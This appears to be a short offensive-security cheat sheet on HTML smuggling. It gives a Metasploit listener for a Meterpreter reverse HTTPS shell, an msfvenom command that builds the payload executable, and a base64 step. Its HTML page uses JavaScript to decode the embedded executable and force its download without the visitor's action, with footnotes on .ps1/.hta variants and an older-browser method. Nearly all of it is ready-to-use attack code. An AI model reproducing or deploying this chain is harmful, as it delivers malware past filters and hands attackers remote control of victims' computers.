# HTML Smuggling: Auto Download

{% code title="listener:" %}

```bash
sudo msfconsole -q -x "use exploit/multi/handler"
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.119.120
set lport 443
run
```

{% endcode %}

{% code title="shell.exe to embed in html:" overflow="wrap" fullWidth="true" %}

```
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f exe -o /var/www/html/msfstaged.exe
```

{% endcode %}

<pre data-title="convert .exe to base64" data-overflow="wrap" data-full-width="true"><code><a data-footnote-ref href="#user-content-fn-1">base64 /var/www/html/msfstaged.exe</a>
</code></pre>

<pre class="language-html" data-title="/var/www/html/index.html" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-html">&#x3C;html>
    &#x3C;body>
        &#x3C;script>
          function base64ToArrayBuffer(base64) {
    		  var binary_string = window.atob(base64);
    		  var len = binary_string.length;
    		  var bytes = new Uint8Array( len );
    		  for (var i = 0; i &#x3C; len; i++) { bytes[i] = binary_string.charCodeAt(i); }
    		  return bytes.buffer;
      		}
      		
      		var file =<a data-footnote-ref href="#user-content-fn-2">'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAA...'</a>
      		var data = base64ToArrayBuffer(file);
      		var blob = new Blob([data], {type: 'octet/stream'});
      		var fileName = '<a data-footnote-ref href="#user-content-fn-3">msfstaged.exe</a>';
      		
      		var a = document.createElement('a');
      		document.body.appendChild(a);
      		a.style = 'display: none';
      		var url = <a data-footnote-ref href="#user-content-fn-4">window.URL.createObjectURL(blob)</a>;
      		a.href = url;
      		a.download = fileName;
      		a.click();
      		window.URL.revokeObjectURL(url);
        &#x3C;/script>
    &#x3C;/body>
&#x3C;/html>
</code></pre>

```bash
sudo service apache2 start
```

[^1]: `var file ='TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAA...'`

[^2]: `base64 /var/www/html/msfstaged.exe`

[^3]: or `.ps1`, `.hta`

[^4]: for IE/old Edge:

    `window.navigator.msSaveBlob(blob);`&#x20;

    simulates a file located on server but instead read from memory